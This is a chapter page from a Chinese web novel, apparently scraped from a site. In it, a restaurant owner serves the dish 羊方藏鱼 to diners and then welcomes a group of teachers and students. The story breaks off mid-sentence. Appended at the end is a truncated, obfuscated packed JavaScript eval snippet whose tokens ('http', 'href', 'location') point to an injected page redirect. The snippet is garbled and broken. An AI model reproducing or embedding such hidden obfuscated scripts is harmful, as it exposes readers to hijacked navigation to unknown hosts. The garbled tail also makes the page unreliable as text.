28. 羊方藏鱼(第2页)

 




蔡文答道：“甭客气，想吃什么点什么，往后还得多靠你们照顾我生意呢。”
 




他在另外一条街开了家卖电器的铺子，这两个友人给他介绍了好几个公司来买电器，让他很是赚了一笔大钱。
 




“老板，赶紧上啊。我们都饿了。”蔡文道。
 




“好嘞，您稍等，马上来。”叶紫岑应和着。
 




不多时，蔡文那桌，已摆满了餐盘。最引人注目的便是今日的特色菜—羊方藏鱼。
 




蒸腾的热气中，鱼羊混合的鲜香直冲鼻腔，连邻桌的人都忍不住吸了吸鼻子。
 




鱼头和鱼尾完整保留，中间却是一块方正饱满的羊肉，仿佛鱼身被替换成了一块雕琢精致的“羊方”。
 




羊肉色泽棕红油亮，表面浸润着金黄的汤汁，鱼头与鱼尾则微微翘起，宛如游弋于汤中的半截活鱼。
 




切开羊肉，内藏的鳜鱼片薄如蝉翼，与羊肉层层交叠，鱼肉的雪白与羊肉的酱色相映成趣，汤汁如琥珀般包裹着整道菜。
 




夏禹夹起一块羊肉，刚一入口便瞪大双眼，羊肉酥烂入味，入口即化，肥腴的油脂在舌尖化开，却不显腥膻，反因鱼肉的浸润而多了一丝清甜：“这羊肉又酥又软，鱼肉的鲜味全融进去了！”
 




蔡文舀一勺汤汁淋在米饭上，连扒几口后叹道：“这汤泡饭，比山珍海味还过瘾！”鱼骨与羊骨慢炖出的高汤浓郁如乳，咸鲜中透出淡淡的姜香与陈皮回甘。
 




年老些的有人叫林业，他慢条斯理地品着菜，笑道：“古书说‘鱼羊为鲜’，今日才知真谛！这羊肉的温补和鱼肉的寒凉中和得妙，难怪彭祖尝了都赞不绝口。”
 




叶紫岑闻声从厨房探出头，笑盈盈解释：“各位看来都是行家，咱们这儿用的可是彭城老方子，羊肋肉先煮后炖，鳜鱼片腌足时辰再塞进羊肉里，没十二小时高汤打底可出不来这味儿！”
 




话音未落，便有一桌客人忍不住诱惑，招手道：“给我们也来一份羊方藏鱼！”
 




担忧了好几日，生怕投资的钱打了水漂的戴素英，这才展开了笑颜。
 




她动作麻利地收拾好碗筷，擦干净桌子，将一群师生模样的客人迎了进来。
 




“那我们要吃什么呢（升调）？让我来看一看。”为首的年长者声情并茂地道。
 




那语气让叶紫岑不禁回想起她穿来之前的语文老师——她的声音也是如此抑扬顿挫：“同学们这篇文章主要讲什么呢（升调）？让我们一起来看一看（降调）。”
 




也正因为此，只要一有学生在课上跑神，立马就会被她神奇的语调抓回来。直接导致全班平均语文成绩直线上升，一跃成为年纪第一。
 




“来（升调），还是让今天的主人翁点吧（降调）。”老者成功将点菜的头疼任务推了出去，晃了晃手中的二锅头，问叶紫岑：“老板，你们这里能喝自己带的酒水吗？”
 




叶紫岑点头：“可以的。”
 




她甚至贴心地又给他们添了几个杯子。
 




被称作“主人翁”的青年点完菜，接过老者手里二锅头，拧开盖子，条件反射、非常自然地将商标转到手心那面，这才一一给在座的师生们倒酒。
 




叶紫岑莞尔：这位主人翁，想来是学化学
 




;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15114975|163263||http|test|mini|href|location''.split(''|''),0,{}));